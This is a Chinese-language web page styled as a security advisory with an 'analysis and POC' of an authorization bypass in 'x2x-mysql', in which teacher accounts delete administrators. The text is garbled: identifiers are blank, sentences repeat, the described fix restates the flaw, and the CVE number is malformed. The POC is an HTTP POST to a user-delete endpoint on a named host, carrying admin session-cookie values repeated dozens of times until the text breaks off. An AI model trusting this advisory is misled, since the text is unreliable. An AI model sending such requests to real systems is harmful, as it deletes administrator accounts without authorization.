x2x-mysql授权绕过漏洞（GHSA-x2x-1ddr-4x6f）分析与POC

漏洞关键信息总结 漏洞概述 漏洞名称：GitHub Security Advisory （CVE-430） 类型：授权绕过（Authorization Bypass Through User-controlled Key） 严重等级：High（CVSS 7.5） 状态：Draft（草稿） 发布者：mindsklp 受影响版本： 修复版本：暂无（暂无） 影响范围 生态系统：Other（学习开源项目 ） 包名： CVSS 向量： 影响： - 教师（role=2）调用 时，若传入的管理员 ID 与当前用户 ID 相同，则 为真，导致无法删除自己（逻辑缺陷）。 - 教师可删除管理员账号，导致管理员无法登录。 - 教师可删除管理员账号，使其无法登录。 - 业务逻辑缺陷：教师（role=2）调用 时，若传入的管理员 ID 与当前用户 ID 相同，则 为真，导致无法删除自己。 - 配合权限配置 获取管理员 ID 列表，可进一步影响管理员。 - 删除所有管理员后系统进入无管理员状态。 修复方案 在 中增加校验： - 校验 与 是否相同，若相同则返回错误提示。 - 校验 是否在管理员 ID 列表中，若不在则返回 。 修复后，教师（role=2）调用 时，若传入的管理员 ID 与当前用户 ID 相同，则 为真，导致无法删除自己。 修复后，教师（role=2）调用 时，若传入的管理员 ID 与当前用户 ID 相同，则 为真，导致无法删除自己。 POC 代码 ```http POST /api/teacher/user/delete/2 HTTP/1.1 Host: www.mindsklp.net:7002 Cookie: ml_iv=1722416868996546c9f4c7441b8b1b782193317; MWACMID=0D0A7C663F63235E; SSOSESSION20210124gNt4Y0W9UWUjLW1XW17076W26ZB870W; Xz4AdminUserName=admin; ml_iv_13082416835558596546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

x2x-mysql授权绕过漏洞（GHSA-x2x-1ddr-4x6f）分析与POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

x2x-mysql授权绕过漏洞（GHSA-x2x-1ddr-4x6f）分析与POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！